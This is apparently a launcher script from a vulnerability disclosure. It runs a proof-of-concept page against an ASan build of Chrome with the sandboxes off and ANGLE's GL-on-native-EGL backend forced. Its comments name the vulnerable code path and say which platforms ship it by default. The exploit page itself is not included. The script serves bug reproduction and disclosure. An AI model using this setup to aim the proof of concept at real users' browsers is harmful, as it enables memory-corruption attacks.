#!/bin/bash
# Run the POC against Chrome with ANGLE's GL-on-native-EGL backend.
#
# Usage: CHROME=/path/to/out/asan/chrome ./run.sh
#
# The instrumentation patch (chromium-changes.patch) is OPTIONAL but
# recommended: it prints the native EGL attributes, native GL_CONTEXT_FLAGS,
# and ANGLE's mBufferAccessValidationEnabled to stderr, which is the
# deterministic proof of the bug independent of driver OOB behaviour.
set -e
DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PORT="${PORT:-8080}"

python3 "$DIR/server.py" "$PORT" >/dev/null 2>&1 &
SRV=$!; trap "kill $SRV 2>/dev/null" EXIT
sleep 1

rm -rf /tmp/chrome-poc-profile

# LIBGL_ALWAYS_SOFTWARE=1: only needed in headless/no-GPU environments to
#   force Mesa llvmpipe. Drop this on real hardware (Mali/Adreno/NVIDIA/AMD).
# --use-angle=gles-egl: select ANGLE's GL-on-native-EGL backend (the
#   vulnerable DisplayEGL.cpp path). On ChromeOS Ozone/DRM this is the
#   shipping default, on Linux it must be selected explicitly.
# --ignore-gpu-blocklist: llvmpipe is blocklisted for WebGL2 for *perf*
#   reasons; on shipping hardware (Mali/Adreno) WebGL2 is not blocklisted
#   and this flag is not needed.
LIBGL_ALWAYS_SOFTWARE=1 timeout 50 "$CHROME" \
  --headless=new \
  --ozone-platform=headless \
  --no-sandbox --disable-gpu-sandbox \
  --no-first-run --no-default-browser-check \
  --use-gl=angle --use-angle=gles-egl \
  --ignore-gpu-blocklist \
  --enable-logging=stderr --v=0 \
  --user-data-dir=/tmp/chrome-poc-profile \
  "http://127.0.0.1:$PORT/poc.html" 2>&1 \
  | grep -E '^\[POC\]|CONSOLE.*\[POC\]' \
  | sed 's/.*INFO:CONSOLE:[0-9]*\] "\[POC\] /[JS] /;s/", source:.*//'